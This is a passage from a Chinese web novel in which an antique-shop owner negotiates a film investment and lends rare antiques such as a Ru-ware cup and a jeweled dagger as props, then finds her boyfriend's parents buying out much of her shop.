“妧妧，有人给你送东西，是你买的吗？” 萧妧妧挠头，想不起来自己有没有点过外卖，探出头张望。 “一个穿工作服的女孩子拎来的，说是昨天有客人在店里消费，抽中了全套盲盒，盲盒送到188号。”孟甜甜复述来人的说辞。 萧妧妧茫然走到石桌边，拆了包装盒，果然，是一整套月牙巷文创盲盒，造型不同，却同样的精致丑萌的搪胶娃娃七只。 稍一回想，萧妧妧很快确认目标，拍了张照片发给黎行聿询问。 黎行聿那边几乎秒回：爸妈在月牙巷暂住，昨晚出去采购，刚好抽中一套。 萧妧妧咦了一声，这也太巧了。 孟甜甜瞄一眼她的神色，不解问：“收到礼物怎么还愁眉苦脸？刚刚见你很喜欢的样子。” 萧妧妧捧起七只丑娃娃，叹气。 “我确实喜欢，愁的是怎么回礼。” 前前后后黎行聿帮了她许多，这份人情可不小，萧妧妧想不到该准备什么样的礼物，既能表达她的感谢，也配得上他的帮助。 值钱是必然的，可除了值钱之外的，她毫无头绪。 孟甜甜见她捧着脑袋苦苦思索，忍笑拍拍萧妧妧肩膀，语气古怪：“那你慢慢想。” 萧妧妧没懂哪里好笑，瞄她一眼，起身收拾桌上垃圾，欢快抱起丑娃娃摆在古董铺最显眼的位置。 她越看越满意，拍了照片发朋友圈，非卖品三个大字打在顶端。 评论区很快冒出一排排省略号和问号，萧妧妧读懂了大家的沉默，哼了一声，嘀咕道：“没有审丑的人类。” 凑齐一整套盲盒，萧妧妧很得意，喜滋滋上网搜月牙巷文创盲盒的概率和端盒所需花费。 不搜还好，刷出来一溜排的吐槽，萧妧妧不禁咋舌。 果然把人当冤大头坑，这概率太低了，还大多是雷。 吐槽众多，求出、换的帖子同样不少，月牙巷的文创盲盒意外受到许多游客喜欢，和萧妧妧审丑一致的不在少数。 她又翻了翻，看到一条点赞过千的内容，标题名“这么丑的盲盒到底谁在喜欢”，随手点进去。 [月牙巷拟人盲盒月牙系列，丑的无与伦比！独一无二！ 要不是店里有顾客砸了十五万抽全套，简直不敢相信真的有人喜欢] 萧妧妧随意一瞥，看到十五万先是嚯了一声，然后克制不住地翘起脑袋。 嘿嘿，她可是一分没花呢，说出去都怕人眼红。 萧妧妧得意了一会，好奇十五万抽盲盒的故事，翻到评论区一看，大家都很好奇，帖主一一回复网友疑问。 [骗你们干什么，自己看图，P4新增了账单，真的是十五万。 单张小票每满199抽一次，本来就不便宜，十五万已经算我们店长手气好。] [那个客人特别奇怪，听说进店就找店长丢了一张没密码的卡，让店长看着安排，刷到抽出全套为止，然后人就走了，走了！ 我的天，你们知道我受到了多大的冲击吗？ 余额快赶上我身份证的卡说留下就留下。] [我们店当时四个人在忙着算，抽了多少次不记得，店长回来说手抽筋了哈哈哈，不过店长很高兴，这个月营业额超额完成。] [对了，忘了说，我们是连锁童装店，本身售价偏贵的那种，所以十五万真的不至于把店铺买空。] 萧妧妧刷完评论区，暗爽不已。 别人花十五万才能得到的东西，萧妧妧什么都不用做，美美抱着拍照。 本就得意的萧妧妧更得意了，拍完照片发到自己私人账号暗戳戳炫耀。 又把帖子截图发给黎行聿。 萧妧妧：叔叔阿姨的手气也太好了吧，随便一抽就是一套。 萧妧妧羡慕死了，她手气就很非，抽盲盒不行，抽卡也不行。 黎行聿大约在忙，一直显示输入中，却一直没回新消息。 萧妧妧看了一眼便放开，以各种扭曲姿势为她的丑娃娃拍怼脸照。 ………… 月牙巷231号，身穿品牌统一制服的几名工作人员忙进忙出，拎着大包小包送进院子。 刚从情人节余韵中回过味来，黎行墨一出卧室门就被满院的大小购物袋包围。 “大哥，这些都是你买的？” 大包小包排排放，挤得他无处下脚，黎行墨拍了张照片发过去，不可置信地拨通电话。 电话那头传来嗯的一声，“给小月亮准备的衣服。” 黎行墨蹲下，随机扒开一袋，勾起一件折叠好的开裆裤，满脸问号。 “小月亮穿开裆裤？” 电话那头出现片刻沉默。 黎行墨又扒开另一包购物袋，提出一条男童内裤。 他冷笑质疑：“我记得我们家小月亮是女孩子吧，男孩的内裤……大哥，你买的哪门子衣服？” 电话那头依旧沉默。 黎行墨翻了个白眼，准备抓住大哥的把柄好好嘲讽，没等继续输出，手机传来一片忙音。 黎行墨一口气堵在喉咙里不上不下，嘁了一声：“莫名其妙。” 刚抱怨一句，手机叮叮响，点开新消息，是萧妧妧发来的询问。 萧妧妧：你哥平时喜欢什么？有没有什么爱好？ 黎行墨呵了一声，回复她：喜欢买童装 萧妧妧：“……？” 等了又等，黎行墨也没发来其他内容，望着“买童装”三个字，萧妧妧半信半疑。 就算他喜欢买童装，难道她还能送童装不成？ “莫名其妙……” 黎行墨的回复毫无参考价值，萧妧妧按灭屏幕，当没看到消息。 【作者有话说】 感谢读者“小张”,灌溉营养液 +1 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“呦呦鹿鸣”,灌溉营养液 +7 163 第163章 ◎这风头，她出定了！◎ 八月的最后一天,萧妧妧仍旧没能清闲下来。 上午约了季随在茶室见面谈投资，下午要和黎行聿参加聚会。 一大早上，起迟了的萧妧妧一顿兵荒马乱地收拾好自己，走到院中,恰好撞见出门赴约的季随。 萧妧妧便没那么着急了,打了招呼一起往茶室去。 路上不适合聊正事,沉默也不太合适,萧妧妧打听起进度。 “各个组差不多准备完毕了，道具组正在影视城布景,摄制团队和大半演员已定，都是以前合作过的成熟演职人员。 主演还在聊,主演一旦定下，随时可以开机。 昭昭应该有和你提过,这部片子我主投，规模不大,总预算6000万左右。” 萧妧妧咋舌,原来准备工作这么早开始了。 上次听云昭昭说剧本过审了,以为距离正式拍摄要好久,今天听季随一说才发觉,项目已然进入正轨。 再晚点，说不定都要拍完了。 “我听说电影后期会涉及特效，6000万经费能用到后期制作的恐怕不多，季导一个人投太冒险了。” 当下的影视行业,上亿成本司空见惯，6000万说中等规模都算好听,其实就是小成本。 这么点费用,一线演员恐怕只能请一个,甚至因为投资太小，叫得出名字的演员根本看不上眼。 如果她没记错的话，季随拍的是奇幻爱情片，在电影市场里不算多么火热的题材，在演员阵容当中，可选范围进一步缩小。 主演迟迟定不下来，有季随挑剔的原因，同样也有片酬太低的因素。 “确实有风险，不过我也有信心。”季随淡笑说。 他当然知道太少了，然而受题材影响，加上他诸多条件限制，没人敢投。 光是一个拒绝干涉创作和选角权就赶走了大半影业公司的青睐。 季随接受了现实后，将名下全部资产投入其中，说一句破釜沉舟不为过。 也幸亏季随自己有钱投入，并且坚定拍摄的信念，项目早早进入筹备阶段，目前还算顺利。 不管萧妧妧投不投，投多少，都不影响项目走上正轨，但多点制作费投入到后期里，总归是件好事。 说话间，两人来到茶室，萧妧妧选了上次谈事的那个包间，熟门熟路带季随过去。 沏茶斟茶，幽幽淡香的龙井摆在眼前，雅间木门合上，两人继续话题。 “萧小姐想要联合出品，打算投多少？”季随开门见山。 谈起工作，季随不再是刻板印象里的挑剔刻薄文艺青年，正经许多。 萧妧妧悄悄松了口气，她最怕和挑剔的人打交道，公事公办的态度太合她心意了。 她干脆地伸出几根手指头。 “……五百万？”季随挑眉。 萧妧妧：“不，五千万。” 季随意外片刻，审视起萧妧妧。 云昭昭和他提过萧妧妧打算投资的事，却没说数额，季随以为不会太多，便没放在心上。 “萧小姐不如先看看剧本和条款。” 萧妧妧并不关注其他，什么剧本演员阵容毫不关心，只想把事情定下。 未免表现得太奇怪，她接过文件夹，装模作样翻看。 看完止损条款，又看了收益分配以及特殊情况预案等，电影剧本备案公示和各类许可列的清清楚楚。 至于合同，系统扫描后并无异常。 她继续往后翻，一份场地租借协议出现在眼前。 萧妧妧抬头看向季随。 “部分空镜会用到不破斋，我们会安排一到两天的时间集中拍摄，不过前期会需要半天一天左右布置场景，所以总共是三天，具体日期需要看天气情况来定。 正好要谈投资，不如一起谈了，也方便道具组做准备。” 萧妧妧想想，也还行。 刚开业的时候没想过生意会那么好，天真的以为可以留出足够时间上镜，等电影火了，她的古董铺可以跟着火一把。 现在再看，古董铺比电影先一步火起来，日收千万偶尔过亿的情况下，多租出去一天就亏一天。 3天不多不少，她完全能接受。 “拍摄中会安排一些古董铺内部环境的镜头，可能会存在损坏物品的情况，后面是列出来的赔偿协议。” 萧妧妧依言往后看，果然有附件，处理方案清晰明了，全部按法定赔偿基准来。 租借协议没问题，萧妧妧暂时搁置，稍晚些一起签字。 放在最后看的是剧本，有点厚，萧妧妧怀念地抚摸一遍，心绪复杂地翻开它。 故事梗概具体内容她是第一次了解，萧妧妧本不打算细看，砸钱就是了，结果翻开没多久就看进了心里，神色越发认真。 “季导，电影里需要的古董你是怎么打算的？” 说起来有些玄妙，季随要拍的奇幻爱情片古现代背景交融，女主身份是文物修复师，讲述的是和化为人形的文物们谈恋爱打击犯罪团伙，在现代城市惹出一系列啼笑皆非遭遇的故事①。 萧妧妧恍悟，难怪说季随的灵感来自云昭昭。 所谓的奇幻爱情不止是爱情，更有悬疑和剧情，惊险又刺激，同时兼具东方美学，难怪上映后在无大力宣发的情况下，靠观众自发推荐，狂揽40多亿票房。 萧妧妧心动极了，不仅想投资，还犯了瘾，想进去演一把。 “文物正在和博物馆交涉，他们只松口其中两件，剩下的我在安排道具组原创一些仿古瓷器金器……剧本有问题？” 说着说着，萧妧妧越翻越快，季随不解，转而询问起来。 萧妧妧啪一声合上剧本，强迫自己冷静片刻。 “没问题，太合我意了。” 比起自己进去演个小配角，萧妧妧有一件更重要的事。 “你缺的哪几件古董，大概什么造型？要哪些元素？我或许可以提供。” 萧妧妧摩拳擦掌，恨不得把自己店里的古董们全塞进去。 已知电影会火，而在剧情里占据一定画面和篇幅的文物化人设定必定引起大范围关注，萧妧妧可以预见，做为主角原型的几个古董会多么受关注。 尤其那一把削金断玉的匕首，拟人后的形象讨喜极了，武力值爆表，锋利又美艳。 萧妧妧好巧不巧就有一把匕首，申明月送给她的宝石匕首，如今在爱丽丝手里当防身工具。 自己试镜不算，现在轮到帮她的古董试镜，萧妧妧递手机时联想到这一点，不觉莞尔。 季随刚打算拒绝，他想要的文物原型是博物馆珍藏级别的，可不是古董店里寻常的老旧物件。 想到萧妧妧做古董生意，到底没立刻拒绝，接下手机点开视频。 “我可不是骗你，吹发即断，而且上面的宝石都是真的。” 季随目光一下子定住。 萧妧妧叭叭个不停，为自己的古董争取机会：“我看你剧本里还有个瓷器，巧了，我有几件官窑青花，珐琅瓶也有，要是不满意，汝窑我也可以有。” “对了，那些一闪而逝只有镜头的古董，我也能提供，什么翡翠、桌子凳子，紫檀金丝楠，我全给你找来。” “版权清晰吗？还有，匕首在你店里吗？方不方便我去看看实物？” 萧妧妧说到一半，季随急促打断。 萧妧妧顿了顿，弱声道：“匕首归属权在我，这一点不用担心，它在店里呢，晚一点一起去店里看？” 说着话，她赶紧操作给爱丽丝发去邀请，又给孟甜甜发了一条消息，让她帮忙把匕首放在多宝架上。 季随点点头，放下匕首不谈，随后质疑：“青花和汝窑，是真品吗？” 不怪别人怀疑，汝窑的名气众所周知，季随曾想过借汝窑拍摄电影，然而却卡在了第一关。 拍卖行几次出现汝窑，都由藏家电话委托匿名拍走，他的顾问团队根本不知道上哪去借。 就算找到藏家，人家也不愿意露这个富，何况剧组资金有限，他的人脉在电影圈或许还不错，在古董收藏圈什么都不是。 疯狂的念头只动了几秒，季随很快认清现实，打消主意。 萧妧妧对上他半信半疑的目光，见怪不怪，任谁跟她说认识的一个平平无奇个体户藏有汝窑，她也会说一句吹牛不打草稿。 “我不介意你带上顾问一起看。” 说着话，萧妧妧继续翻找手机，找出之前拍摄的汝瓷八棱杯，证明自己所言非虚。 “来源合法性可以保证，我有完整的流传记录。” 她语气太过笃定，又有视频为证，季随仔细辨认后，彻底哑口无言，震惊情绪表露在面上。 手里藏有汝瓷，难怪有实力掏5000万投资。 云昭昭真是给他送了一个好大的惊喜。 萧妧妧微微笑，这对她而言又怎么不算惊喜呢。 按照40多亿的票房来算，她投资5000万占比45%左右，除去院线分成和税费，以及其他杂七杂八的费用，萧妧妧粗略算下来，分到手的收益大约有7个亿。 投资跟得上，好好造势宣传一把，票房可以涨得更快，投资收益相应提高。 不止投资回报可观，那些出现在镜头里的古董获得了高曝光，可以借此身价暴涨。 不管是私下买卖还是上拍卖行，同类型文物成交量和溢价都能有所上涨。 这并非萧妧妧太过乐观，异想天开，而是国外有差不多例子，随着电影成功，片中出现的艺术品卖出天价。 如果只有古董身价涨了，萧妧妧还不至于那么激动，真正令她心动的是后续的衍生版权收益。 这部电影在开拓商业价值方面，有着得天独厚的条件。 比如出联名周边，大众熟知的有玩偶、文创盲盒、电影原型仿款等。 再比如和文旅绑定，联合博物馆开展专题展览，推动参观游客增加，从而带动线下经济。 更甚至，吸引普通群众关注古董，冷门古董大破圈，进而影响古董交易行业，或许会促进行业诞生下一个风口。 与此同时，仿古工艺品也能搭上热度，销量翻倍。 当然，这话说的为时过早，古董交易一直挺火热，并不需要靠一个电影来带动。 只要钱包有钱，自然有人愿意踏入古董收藏圈，踏不进来的最大阻碍是钱不够多。 不说此类衍生品利润有多不可估量，够萧妧妧赚得盆满钵满，拍摄影片后带来的效应才是大头。 萧妧妧能借着电影爆火，以及古董所有者的身份，在大众面前刷一把脸。 配合她其他一连串的小花招，短期内频繁出现在大众视野，萧妧妧知名收藏家的路等于走上了捷径。 不止收藏圈知道她，圈外人同样知道有个了不得的收藏家，叫萧妧妧。 正是考虑到这一点，萧妧妧不惜拿出汝窑，为电影造势，也为自己造势。 这风头，她出定了！ 【作者有话说】 ①配合剧情需要瞎编，如有雷同，纯属巧合 感谢读者“小张”,灌溉营养液 +1 感谢读者“呦呦鹿鸣”,灌溉营养液 +10 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“呦呦言”,灌溉营养液 +10 164 第164章 ◎这是来不破斋抄家了不成？◎ 影视对文物的叙述是把双刃剑,有利更有弊。 说完好处，再说说坏处，出现在大荧幕的文物对来源合法性有更高要求，非法来源文物会面临追责的情况。 同时也会催生灰色产业链,比如仿品泛滥等。 这点弊端在巨大的利益面前不值一提,萧妧妧不会为此避退。 她眨着眼睛,眼巴巴等季随表态。 他反复拉进度条,看完汝瓷看匕首，又去看顶尖品相的墨翠手镯,心神震荡。 “看来协议今天是签不成了。” 片刻之后，季随终于舍得挪开目光,眼底充满热切急躁。 萧妧妧心脏差点跳出嗓子眼，她紧攥拳头,等他下文。 “衍生权益分配、古董授权以及二次创造协议，都需要进一步商量,我先安排律师拟协议。” 能用汝瓷那是再好不过,属于他不敢奢想的顶尖货。 无需萧妧妧卖力推销,只要它是真品,季随肯定不会拒绝。 不,或者说，即便是赝品，仿制的如此逼真也算难得，他照样会采用。 甚至因着汝瓷的稀缺性,哪怕萧妧妧提出拿下衍生品权益的60%，他也心甘情愿。 他再次看一眼手机上循环播放的片段,不禁轻笑。 汝瓷是稀缺品,吹发即断的匕首同样稀缺,给60%虽然在业内不多见，却不能说离谱。 那可是汝瓷啊。 季随大喘气，总算说完整了，萧妧妧闻言偷偷挥了挥拳头，长舒一口气。 这就是定下的意思。 瞧瞧，汝瓷出手，谁能不动心？ 后续电影上映，汝瓷也将是一大亮点，可以大肆营销。 当然，汝瓷的身价用不着一个电影来抬，但她还有许多其他稍次些的古董。 涉及古董数量繁多，确实需要请一个可靠又专业的文化产权律师把关。 “看来这壶茶是没机会喝完了，季导，跟我去店里看看东西吧？” 萧妧妧舍不得大几百一壶的茶，端起茶杯一口饮尽，麻利爬起来带路。 她脚步匆匆，恨不得马上掏出汝瓷迷死季随，季随不比她没好到哪去，恨不得马上看见汝瓷。 进院子前，萧妧妧敲了敲门，提示孟甜甜过后才推门进去。 萧妧妧没在院子里看见人，加快脚步先一步进店，看到架子上一把光裸的匕首，悄摸套上了宝石鞘。 季随进店的时候，她刚好取下匕首放在桌上，装模作样去柜台后面开保险箱，珍而重之的捧出小匣子。 两样东西摆在面前，季随喉头滚动，惊叹情绪溢于言表。 萧妧妧见他先拿起匕首，远远避开汝瓷防止意外发生，心里格外满意。 她以手为梳子在头上撩了一下，薅来几根落发，扯出一根放在刃上，做出请的手势。 季随望了望她，又看看垂落在匕首刃上飘飘摇摇的发丝，俯身，吹气。 发丝摇摆两下，倏然从刃尖处断成两截缓缓飘落在桌面。 他紧盯发丝不曾放松，却仍旧不敢相信亲眼见证的“吹发即断”。 季随越发震惊，从桌上捡起两截发丝对比，肉眼能看到的程度里，断口干净利落。 两截断发重又放在刃尖，他抬手拔下一根自己的头发，再次轻吹气…… 长短不一的发丝纷纷飘落，季随由衷发出赞叹。 “好锋利的匕首。” 他的目光几乎黏在这把单刃匕首上，小心翼翼抚摸泛着冷光的刃部许久，注意力渐渐转移到柄部与金属短鞘。 萧妧妧见他爱不释手，尾巴翘上天。 要不是因为道具管制，她真的会随身携带，既能防身又能装饰，锋利之余，还格外坚硬。 爱丽丝拿回去没宰成龙，平日里挂在身上当工具，什么劈柴挖坑撬锁切菜砍瓜，全用它，一天不曾歇过。 瞧，刃部依旧寒光凛冽，没有一丝划痕。 “如你所见，柄与鞘为黄金做主体，镶嵌各色宝石，其中柄部顶端的蓝宝石最大，鞘两侧的珍珠是天然野生，其他红的绿的蓝的小宝石数不清，大的5克拉左右，小的1克拉。” 季随眸色沉沉：“确实难得一见，萧小姐真舍得借？” 萧妧妧：“只是借，又不是送，有什么舍得不舍得的，我也想让大家都欣赏欣赏它们。” 抱着宝贝却不知道给谁炫耀的滋味太憋屈了。 汝瓷八棱杯的拥有者，说出去谁不对她另眼相看啊。 萧妧妧又拿出手机，播放另一段视频。 “我看你剧本里有个戏份很关键的挂坠，如果没有定下原型，瞧瞧我这件呢？” 萧妧妧展示的是那件黄加绿环环相扣。 “东西送去做全套检测了，原本是打算参加年前的佳博专拍。你看，环不必说，雕工登峰造极，最精巧的是挂坠主石，黄绿色交融出太极形状，多神秘啊，很符合剧本里的时空钥匙设定。” 她嘴巴一刻不停的叭叭，说话同时留意季随神情。 “太极造型……不是人造的？”他惊诧的出声。 实在是这条环环相扣太精巧了，主石尤为特别，特别到像人为打造的假货，不懂翡翠的人第一眼瞧见下意识会质疑真假。 萧妧妧分辨两秒，季随只是为环环相扣而惊叹，并没有多少质疑的意思。 她翘起嘴角：“今天没机会，下次等你拟好协议，环环相扣也该送回来了，咱们再看实物。” 季随摆摆手，语气笃定：“不必，就定它了。” 他不禁对比起团队正在和博物馆交涉的那件帝王绿挂坠，心里不自觉把票投给黄加绿。 太极造型的黄加绿主石天然带着神秘气息，安排一些奇幻设定相当应景，哪怕是假的，当道具也足够。 季随几乎立刻拍板决定。 “麻烦你了，汝瓷、匕首和黄加绿的视频可以发我一份吗？我需要和编剧沟通一下修改内容。” 萧妧妧亮出一排小白牙：“当然。” 选中视频发给季随，萧妧妧大手一挥，指着满屋子古董，豪气道：“季导还缺什么古董？随便挑。” 顿了顿，她搓搓手，试探着说出自己要求。 “不需要你出授权费和租金，但有一点，衍生权益我要60%。” 萧妧妧的要求高于市场惯例，可因为古董稀缺，60%的比例相比较来说又不能算太高。 市场行情是藏家拥有40%左右，出品方占据超过50%的份额，根据文物珍稀程度双方份额略有调整，剩下的零头则由开发商分走。 开发商那边基本固定，萧妧妧提出占有60%的份额，那么，做为电影出品方的季随持有比例将减少。 听起来挺过份，但那是汝瓷啊。 一级文物或者名家珍藏都能拿走50%，她的汝瓷凭什么不可以？ 这个比例是萧妧妧深思熟虑后的结果，再低一点也行，就是心里会不舒服。 萧妧妧不敢保证季随舍得让出这份利益，她偷觑季随脸色。 季随：“可以。” 萧妧妧：…… 话说出口十几秒，季随点头，爽快答应了她的要求。 太过爽快，以至于萧妧妧当场傻眼，怀疑自己开太低。 早知道要65%了，萧妧妧懊恼不已。 她的情绪几乎写在脸上，季随瞥一眼就懂了，轻笑摇头。 “萧小姐的要求正好是我能接受的底线，既然我们达成共识，没必要再争。” 萧妧妧意外抬头，对季随的好感加了1分。 挑剔归挑剔，但他不吝啬，也不会斤斤计较。 导演嘛，挑剔一点、完美主义一点，是对作品负责。 好处拿到手，萧妧妧这会再看季随，便不认为挑剔算什么缺点。 不过黄加绿环环相扣恐怕暂时上不了专拍，哪怕速度再快，电影也赶不上春节上映。 她记得是暑期来着，要么明年，要么后年。 萧妧妧记不清具体时间，跳着看番外的时候，只记住了男主之一在庆功宴求婚。 电影没能上映，电影里的文物原型自然没什么名气，提前出手不符合利益最大化的追求。 萧妧妧当机立断决定换下环环相扣，安排其他翡翠摆件顶上。 日头高照的时候，事情告一段落，季随回去和团队商量细节，协议拟完就发来。 送季随出门的时候，萧妧妧灵机一动。 回到院子里，连忙搜索主出品影视公司。 好消息，上市公司。 更好的消息，3.45元每股。 萧妧妧笑出声，想到自己没有开户才收敛笑意。 她转头给萧大明转去100万，急匆匆打通电话。 “爸，买随便影业，100万全买它。” 别看现在才每股3.45元，到了电影上映后的那一个月，每股能涨到200元。 萧妧妧看小说时还是个孩子，不懂股票，好奇之下去网上搜索，否则不会记得这么清楚。 还好她记住了，否则错失良机啊。 蚊子腿再小也是肉，萧妧妧一点不嫌弃这点肉小。 想到这里，她又追了50万过去。 萧妧妧甚至想过要不要投资入股，看了看账户余额后，忍痛作罢。 5000万投资电影，存款锐减，再投季随的影视公司，又得花去大几千万。 萧妧妧当下最重要的是国内外的几场拍卖，其他花钱的事最好押后。 距离午饭时间尚早，萧妧妧拜托孟甜甜看店，骑着史努比去熙园的大平层一趟。 家电检修，卫生打扫，生活用品添置，再加上吉日吉时未到，房子里堆满东西，暂时无人居住。 萧妧妧的房间在二楼，一间带有卧室、起居室、书房、衣帽间的套房。 刚进来参观的时候，萧妧妧嫌弃房间太大，住着容易疑神疑鬼，这回带来一大堆衣服珠宝和包包，她又庆幸衣帽间足够宽敞。 整理衣帽间可不像小卖部，有系统协助，她得自己动手。 爬上爬下、拆盒子吊牌，挂完衣服鞋子又去挂首饰，萧妧妧忙得不亦乐乎。 收拾完毕，望着衣柜里满当当的新衣服，各占了一面墙的高跟鞋和包包，还有1.8米高的保险柜里塞满了的首饰盒，萧妧妧觉得人生圆满了。 正欣赏自己的衣帽间，手机接连发出提示音，叮叮叮响了好久。 萧妧妧在包装盒里一通乱扒，总算找到手机。 “嚯！” 锁屏铺满短信提示，往下一划拉，最早的信息从她刚进门开始发送。 那时候她忙着规划衣帽间，并没有注意到，这一错过就是十几条消息。 萧妧妧咋舌：“十几条，总不能都是进账吧？” 她嘴里念叨着，手上动作也不慢，点开未读信息。 直到目光落在屏幕上的数字，萧妧妧被施了定身咒一般呆住。 “……收入230000元，余额……” “……收入4600000元……” “一、二、三、四……” 后面十来条萧妧妧懒得念，数了数后面的0，确认到底是六位数还是七位数。 数着数着，又一条入账通知刷新。 “收入3100000……” 加上最新到账的款项，这一波一共进账7300多万！ 不算不知道，一算吓一跳，萧妧妧难以置信地瞪大了眼睛。 店里出什么事了？ 她抖着手给孟甜甜拨去电话，响了几秒不到，被孟甜甜那边主动挂断。 萧妧妧放心不下，转身朝外面走，赶回店里看情况。 下楼，骑上史努比，第十六条入账提醒发来。 萧妧妧瞄了一眼提示，心里直犯嘀咕，这是来不破斋抄家了不成？ 照这交易速度继续下去，恐怕她来不及赶回店里，店铺就得搬空。 萧妧妧旋动把手，加速冲了出去。 【作者有话说】 感谢读者“小张”,灌溉营养液 +1 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“画船听雨眠”,灌溉营养液 +10 感谢读者“兮然”,灌溉营养液 +30 165 第165章 ◎买亿点古董◎ 史努比将将停在院子门口,来不及推进去，萧妧妧跳下车冲了进去。 这一路才过去二十分钟不到，手机揣在口袋里几乎没歇下来过，叮叮叮个不停。 萧妧妧抽空瞄了一眼,又卖出去7件古董,余额增加320万。 翡翠的价没那么低,只能是那些小件古董。 萧妧妧越发纳闷,谁啊，一次性买那么多。 她急匆匆往院子里钻,好巧不巧，孟甜甜从铺子里出来,两人冷不丁在院子中央撞满怀。 孟甜甜看到她回来，欣喜地指了指店铺里,示意她先别说话，快走几步到桌边灌下一大杯茶水。 掩唇打了个饱嗝,孟甜甜深呼吸,沙哑嗓音兴奋说道：“今天来了个大客户,我介绍什么他们买什么,二话不说。” 孟甜甜没见过这么好做的生意,整个人都红温了，恨不得报菜单似的把店里物件全部拿出来讲一遍。 萧妧妧打来电话时，她根本舍不得浪费时间接听，生怕耽误一会少赚一笔钱。 还不是小钱呢,店里便宜的古董二三十万，贵的二三百万。翡翠更甚,多数在大几百万,那对夫妻眼睛不眨一下,直接刷卡。 孟甜*甜哪见过这阵仗，抓紧机会卖力推销，嘴巴不停地说，说到口干舌燥，实在没熬住躲出来喝口水缓缓。 萧妧妧闻言默了默，原来这就是不接电话的原因，亏她以为出了什么事，急吼吼往店里赶。 缓过劲，孟甜甜又倒一杯水灌下，嗓子里火烧火燎的感觉总算消下去。 她清清嗓子，推了推萧妧妧：“正好你来了，你进去招呼一下，我得歇歇，嘴巴疼。” 说着，她放下茶杯，双手捂脸一顿揉搓，缓解脸颊酸疼。 萧妧妧往古董铺里望了一眼，夫妻俩背对着门口，齐齐俯身盯着多宝架上唯一的一件珐琅碗。 就离谱，她满当当的多宝架竟然空了！ 孟甜甜刚躺在摇椅里歇会，想到什么，抬头道：“对了，他们有点奇怪，好像是冲你来的，根本不听我介绍，变着花样探听你消息。” 萧妧妧满脸费解地指了指自己：“冲我来的？” 再看向夫妻俩，她完全不认…… 不，她认出来了。 夫妻俩看完珐琅碗，转身盯着柜台里为数不多的翡翠，两人的脸显露出来。 萧妧妧倒吸一口气，掏出手机给黎行聿发消息。 萧妧妧：速来 为证明事情严重性，她偷摸拍下照片发去：你爸妈买疯了！ 两人像花游戏币一样爽快，哐哐下单，一两个小时不到砸了7600万。 而且，什么叫冲她来的？ 萧妧妧心里忐忑，想再多打听打听他爸妈来做什么。 这时，夫妻俩不经意抬眼，瞧见院中抱着手机搬救兵的萧妧妧，喜笑颜开，招手唤她进去。 萧妧妧没办法，扬起灿烂笑容进去打招呼。 叶赛宁笑容温暖亲近，快步走来揽住萧妧妧肩头：“妧妧回来了，我们以为今天看不见你了呢。” 萧妧妧愣住，黎家兄弟俩乍一看脾气都不算多好，难以接近的性格，没想到他们的爸妈热情又自来熟，比她还要E。 萧妧妧身子僵硬，乖巧由叶赛宁揽住。 黎岸同样温和淡笑，对叶赛宁道：“你吓着人了。”偏头又对萧妧妧说：“我们难得来一次南市，正好要见见老朋友们，这不，我听我家老大说你的铺子好东西不少，我们夫妻俩就过来看看，也好准备点见面礼。” 萧妧妧扯了扯嘴角，心里震惊。 皇亲国戚不成，见面礼送几十万上百万的东西。 进店以后再扫视一圈，萧妧妧看得更清楚，店里大半东西被他们扫荡走。 柜台一角，是孟甜甜打包好的古董，大小盒子堆成小山。 叶赛宁笑呵呵连声附和：“对对对，你这店真不错，我挑了好几个翡翠镯子呢，一眼就喜欢上了。那个小孟丫头特别实诚，送我们不少东西。” 萧妧妧客气地说：“您二位喜欢就好。” 叶赛宁：“喜欢，特别喜欢。对了妧妧，我听说你之前学表演的，怎么没去演电影啊？一个人开古董铺不容易吧？这行不好做。” 萧妧妧微笑着说：“没有合适的角色，就回南市开了不破斋，倒也没有特别难。” 黎岸接话：“东西确实有讲究，都是你自己挑的货？” 萧妧妧不明白他们到底要说什么，一边祈祷黎行聿赶紧过来，一边老实回话。 “对，以前一个做古董生意的邻居介绍的渠道，我自己挑货。 店里的东西放在市面上不说独一无二，但想找到相同品质的没那么容易。” 黎岸暗暗点头，随口闲聊一般问道：“从演员到古玩，跨度挺大，你是怎么想起来做这行？” 萧妧妧含糊说：“说起来算是阴差阳错吧，就好像老天安排好了一样的巧合。” 叶赛宁瞥一眼丈夫，“听起来确实像上天安排好似的，太巧了。” 萧妧妧回味她意有所指的话，心里惴惴。 古董铺是怎么开起来的，她最清楚不过，哪怕借了玉仁斋做遮掩，也不能完全解释得清。 叶赛宁笑了笑，继续闲聊般追问：“妧妧眼光这么好，一看就是下了大功夫的，平时都跟谁学？” 糟了，难不成是看出她的蹊跷之处？ 萧妧妧不由戒备起来，谨慎回答：“邻居方爷爷家做的古董生意，我小时候喜欢找方爷爷玩，来往的次数多了，跟着学了点皮毛。正好方爷爷搬去国外定居，我接了他们家一半的生意。 您看，那架子上的瓶子罐子，都是方爷爷的客户，转到我手上继续合作的。” 叶赛宁语气稍显急促：“可不算皮毛，你看你挑的这些，多好啊。可见你对古董这一行有天赋，一看就是……” 就是什么，叶赛宁没能说下去，黎岸拍拍她的背，眼神暗示。 叶赛宁讪笑抿唇，话题戛然而止。 萧妧妧左右看看，不明所以。 气氛忽然沉下来，静得落针可闻，黎岸清清嗓子，岔开话题。 “正好，小萧啊，你帮我看看我手上这扳指怎么样，我们俩在国外的拍卖行一眼看中，当时买得高兴，回来一看你店里的翡翠，好像远比不上，心里不踏实。” 萧妧妧见他摘下手上扳指，双手接过置于桌上，拿来手电筒照着看，又举起对着太阳光。 “您眼光真好，这东西没买错，玻璃种帝王绿，无裂无杂质，颜色均匀浓郁。” 黎岸似笑非笑地看一眼媳妇，继续问：“那你看，这枚大概值多少？外国人不懂行，2000万起拍，我加到8000万才拿下。” 萧妧妧顿了顿，心里冒酸水。 意思是周游世界的时候，顺带周游了拍卖行，然后一时兴起，花8000万拍下一枚拿不准的翡翠扳指？ 就像今天在一间新开业的古董铺里花7600多万？ 萧妧妧狠狠羡慕两秒，目光定在了翡翠扳指上。 “那您运气和眼光一样好，这枚玉扳指放国内，至少一个亿，我看雕工挺讲究，有点宫廷味道，如果能查清楚出身，或许能翻倍。” 这种品相的帝王绿本身不便宜，再有文化价值加持，恐怕能奔到1.5亿。 如果来历够显赫，2个亿也打不住。 萧妧妧说完自己看法，转身瞥向黎岸，夫妻俩微微笑着，笑容里夹杂了许多她看不懂的情绪。 满意？惊喜？怀念？惊讶？ 萧妧妧读不懂，双手捧起递还回去。 